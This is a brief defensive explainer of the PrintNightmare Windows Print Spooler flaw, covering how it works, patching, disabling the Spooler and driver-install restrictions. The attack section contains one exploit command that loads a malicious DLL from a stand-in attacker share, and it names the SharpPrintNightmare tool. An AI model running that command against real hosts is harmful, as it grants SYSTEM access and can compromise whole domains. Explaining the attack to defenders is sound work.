PrintNightmare (CVE-2021-34527, with the related CVE-2021-1675) is a flaw in the Windows Print Spooler service. Its RpcAddPrinterDriverEx call could be made to load an attacker-controlled DLL as a printer driver, running code as SYSTEM, remotely or locally. Because the Spooler runs on domain controllers, an authenticated user could reach SYSTEM on a DC and compromise the domain. Defend by patching, disabling the Spooler where it is not needed (especially on DCs), and restricting driver installation.
What PrintNightmare is
The Print Spooler service handles printing and runs as SYSTEM on almost every Windows host. It exposes RPC calls to add printer drivers, and PrintNightmare showed those calls could be abused to load an arbitrary DLL. Because the Spooler is on by default, including on domain controllers, a printing feature became a code-execution primitive at the highest privilege.
How the attack works
An authenticated attacker points the Spooler at a malicious driver DLL on a share via RpcAddPrinterDriverEx, using a tool such as CVE-2021-1675.py <domain>/<user>:<pass>@<target> '\\attacker\share\evil.dll' (or SharpPrintNightmare locally). The Spooler loads it as SYSTEM, giving remote code execution or local privilege escalation, and on a DC that means domain compromise. Shown for defensive testing.
How to defend against it
Patch. Then disable the Print Spooler on systems that do not print, above all on domain controllers, using Stop-Service Spooler; Set-Service Spooler -StartupType Disabled. Where the Spooler must run, restrict remote driver installation with the Point and Print policy so only administrators can add drivers, and monitor for unexpected driver installs.
References
- [1]MITRE ATT&CK Enterprise Matrix(MITRE ATT&CK)
- [2]Microsoft: CVE-2021-34527 Windows Print Spooler RCE(Microsoft)
A running Spooler on a DC is an unnecessary path to SYSTEM. Talk to a security expert about validating your Spooler and patch state.